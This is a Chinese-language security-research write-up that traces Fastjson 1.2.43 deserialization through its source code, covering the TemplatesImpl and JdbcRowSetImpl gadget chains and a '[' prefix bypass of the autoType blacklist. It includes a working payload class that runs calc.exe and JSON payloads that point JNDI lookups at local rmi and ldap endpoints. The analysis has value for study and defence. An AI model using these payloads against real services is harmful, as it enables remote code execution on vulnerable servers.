FastJson反序列化

https://su18.org/post/fastjson/

这里只是分析一下1.2.43版本的fastjson反序列化,其他版本的su18师傅写的非常详细,我就不摘抄了,如果有看不懂的建议去看上面su18师傅的文章

为了对新人友好,还是简单介绍一下用法以及常用的链

环境搭建

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
</dependencies>

简单使用

fastjson可以将字符串转换为对象,也可以把对象序列化为字符串。使用JSON的toJSONString方法 可以将对象转换为字符串

image-20231207185725992

但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString的第二个参数SerializerFeature.WriteClassName写下这个类的名字

image-20231207185847545

@type关键字标识的是这个字符串是由某个类序列化而来。

image-20231207190723100

image-20231207190806975

image-20231207190914865

image-20231207191111436

image-20231207191208180

通过这个demo可以看出
在使用JSON.parseObject方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User指定类 会调用此类的get和set方法 但是会转化为JSONObject对象。
而使用JSON.parse方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法。

@type 指定类
使用JSON.parse方法反序列化会调用此类的set方法
使用JSON.parseObject方法反序列化会调用此类get和set方法

Fastjosn在反序列化时默认只会反序列化public属性

image-20231211134429169

image-20231211134305270

image-20231211134701841

想要反序列化private修饰的属性,需要在反序列化的时候加上Feature.SupportNonPublicField

image-20231211140159165

TemplatesImpl 反序列化

上面知道JSON.parseObject会调用@type指定类型的get,set方法。

TemplatesImpl中属性的get和set方法中
getOutputProperties方法调用了newTransformer方法

image-20231207192934458

newTransformer中调用了getTransletInstance()

image-20231207193222247

getTransletInstance()中要调用defineTransletClasses(),保证_name不为null,_class==null

image-20231207193317542

在defineTransletClasses中 重写了defineClass方法 对_bytecodes中的恶意代码进行加载。

上面其实说的是后半部分的分析。

parseObject 做了什么?

在方法体里其实也是调用了parse方法

image-20231207194642700

跟进去

image-20231207194821784

继续点进去:

image-20231207194835384

new DefaultJSONParser()

image-20231207195136918

判断了字符串开头是不是{

之后就到了DefaultJSONParse.parse() case 12这个分支:

image-20231207195249864

之后初始化了map属性:new HashMap

然后调用了parseObject

之后进入一段for循环,首先会处理空格等字符,然后获取第一个字符是",之后就会进入ch == '"'的分支

image-20231211141913069

image-20231207195948269

scanSymbol中会将引号包裹的内容读出来=》@type,然后又是过滤空白字符,然后获取当前字符,如果当前字符不是:会因为不符合JSON语法直接报错,之后会获取下一个字符,然后处理空白字符

image-20231211142421313

之后会对之前获取的键进行判断,判断key 是否等于 @type,判断之前传入的feature是否启用特殊字符检查(1.2.24版本以后都默认开启AutoType),之后便又通过scanSymbol获取值的内容,然后通过loadClass加载这个Class对象

image-20231207203020366

跟进loadClass方法:
会从mappings中查找是否导入过相关Class对象,如果找到直接返回,否则加载

image-20231211144007277

中间还会判断className开头字符是不是[或者L,结尾是不是;,之后会加载这个类,并将他放到mappings中,然后返回该对象

image-20231211144028995

之后在DefaultJSONParser类中,通过getDeserializer获得当前class对象中的一些set/get方法

image-20231207212203444

跟进去之后,会调用到ParserConfig.getDeserializer(),之后进入到createJavaBeanDeserializer()

image-20231211150459698

config.getDeserializer(clazz)中最后会调用到JavaBeanInfo.build()方法

image-20231207212357504

build()中首先获取了方法、属性和构造函数:

image-20231208155833736

之后会进入方法的循环:

set查找逻辑:
1、方法名长度大于等于4
2、非static方法
3、返回值为void或当前类
4、方法名以set开头

image-20231208160345531

get查找逻辑:
1、方法名长度大于等于4
2、方法名以get开头
3、方法名第4个字母为大写
4、无需传参
5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

image-20231208160454002

之后回到DefaultJSONParser.java

image-20231211154706878

跟进deserialze(),之后在parseField()上打断点:

image-20231211154815575

进入parseField的重载方法

image-20231211155029116

然后调用setValue(),并通过反射调用对应的setter方法设置值

image-20231211155215375

image-20231211155422803

poc首先要继承AbstractTranslet,因为在defineTransletClasses有检测父类

image-20231211204315327

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.fastjson24;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestFile extends AbstractTranslet {
public TestFile() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
System.out.println("error");
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
1
2
3
4
Path path = Paths.get("./java/com/lucifer/TestFile.class");
byte[] data = Files.readAllBytes(path);
String base64Str = Base64.getEncoder().encodeToString(data);
System.out.println(base64Str);

JdbcRowSetImpl 反序列化

JdbcRowSetImpl位于com.sun.rowset.JdbcRowSetImpl下,导致反序列化的原因主要是:JNDI的动态协议解析

在这个类中有一个SetAutoCommit(),在第一次调用的时候会调用connect()方法

image-20231215183159658

connect()方法中就调用了lookup()

image-20231215183714097

所以对应的payload:

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

这里因为lookup的参数完全可控导致了JNDI注入。

fastjson-1.2.43

1.2.25 <= fastjson <= 1.2.43

使用的payload:

1
{"@type":"[Lcom.sun.rowset.JdbcRowSetImpl;"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}

调试代码如下,在parseObject()处打断点就可以了

1
2
3
4
5
6
7
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{" +
"\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[," +
"{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
"\"AutoCommit\":\"true\"" +
"}";
JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);

这里是用的JdbcRowSetImpl这条链子,可能还需要开启一下恶意的jndiServer

前面的调用栈很简单,上面在parseObject()中也调试过了,不再赘述

1
2
3
4
5
6
7
8
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:989)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze(JavaObjectDeserializer.java:45)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:643)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:365)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:269)
at com.fastjson42.FastJsonSerializeTest.main(FastJsonSerializeTest.java:22)

主要看checkAutoType(),这里做了针对1.2.42补丁绕过的修补:

image-20231229132400886

只要出现两个LL开头直接抛出异常

这个需要用到另一个loadClass中的逻辑来绕过

image-20231229183433826

在className前加[就可以进入这个逻辑,这个逻辑返回了一个Array的Class对象,成员类型是咱们的恶意类,com.sun.rowset.JdbcRowSetImpl,之后会进入parseArray中会将成员类型也反序列化的。

先说一下目前为止的调用逻辑:JSON.parseObject()==>ParserConfig.checkAutoType()在这个checkAutoType中会检查你的@type后面传入的className是否是以两个LL开头,如果是直接抛出异常,之后就是检测className是否在黑名单中,所以这里要用[去绕过==>TypeUtils.loadClass()在loadClass中会检测className的第一个字母是否是[,如果是会去掉之后再次调用loadClassName(),之后就返回Array的Class对象,这中间省略了一些函数调用栈

然后就回到了DefaultJSONParser.parseObject(),这里有一个判断,判断下一个JSON token是不是},如果是就直接调用空参构造方法,返回构造对象。

由于payload下一个token是[,所以就到了deserializer.deserialze()中,至于为什么要在payload中写一个[,下面会有答案

image-20231229191459325

之后又到了parseArray()中,这里的componentType就是com.sun.rowset.JdbcRowSetImpl

image-20231229191706549

parseArray()验证了当前toekn如果不是[直接抛出异常

image-20231229192035037

image-20231229163209019

]就可跳出这个报错,这里需要注意这个]一定要加在逗号之前,因为JSONLexer.nextToken() 用于读取并返回 JSON 字符串中的下一个令牌(token)。在 JSON 中,令牌可以是 JSON 对象的开始 {、结束 },JSON 数组的开始 [、结束 ],JSON 键值对之间的逗号 ,,字符串值,数字值,布尔值,null 值等等。解析器通过逐个读取这些令牌来构建整个 JSON 结构。

config.getDeserializer()获取到了type的属性和方法,

image-20231229192152219

getDeserializer(type)中又调用了JavaBeanInfo.build()JavaBeanInfo 类的属性提供了关于 JavaBean 结构的详细信息,使 Fastjson 能够更灵活地处理不同类型的 Java 对象。

image-20240103185013520

在这段代码里fastJson还判断了是否可以生成ASM字节码,如果目标类符合条件,asmEnabletrue,然后创建JavaBeanDeserializer

image-20240103190040606

image-20240103190253733

然后返回了实例作为(ObjectDeserializer)deserializer,并在下面设置了nextToken()所期望的类型,这就导致,不能成为下一个token,必须要是{,否则后面会报错

image-20240103164902256

image-20240103165135867

之后就会进入deserializer.deserialze(this,type,i),这里的type就是com.sun.rowset.JdbcRowSetImpl

image-20240103164947926

这个deserializer就是刚刚生成的ASM字节码的实例化对象,然后调用deserialze(),这里在IDEA中无法调试,这是运行时动态生成的,IDEA无法找到对应的类,但是我们可以根据上面的code,code就是一个bytes数组,只需要将这个数组写到文件里,在IDEA打开就可以看到反编译后的java代码

image-20240103203139101

这个函数最后调用了parseRest()

image-20240103203549580

之后跟进deserialze(),就是判断token如果不是{或者,就报错

image-20240103165614640

然后回根据之前获取到的JdbcRowSetImpl类字段列表依次和JSON字符串中的属性匹配,如果在JSON字符串中出现就会调用对应的set方法设置值

image-20240103165806745

image-20240103165849291

在调用这个set方法前,已经将dataSource赋值了,那dataSource是在什么时候赋值的呢?

image-20240103170032326

只有可能在这个FastjsonASMDeserializer_1_JdbcRowSetImpl.class中赋值的,但是为什么没有给AutoCommit赋值呢?

image-20240103201928866

payload的执行结果如下所示:

image-20240103215155576

中间产生的小插曲:

接下来的测试过程中,出现了这个报错,爆出了具体的版本,记录一下payload

1
2
3
4
5
String json = "{" +
"\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
"\"autoCommit\":true" +
"}";

image-20231229163417699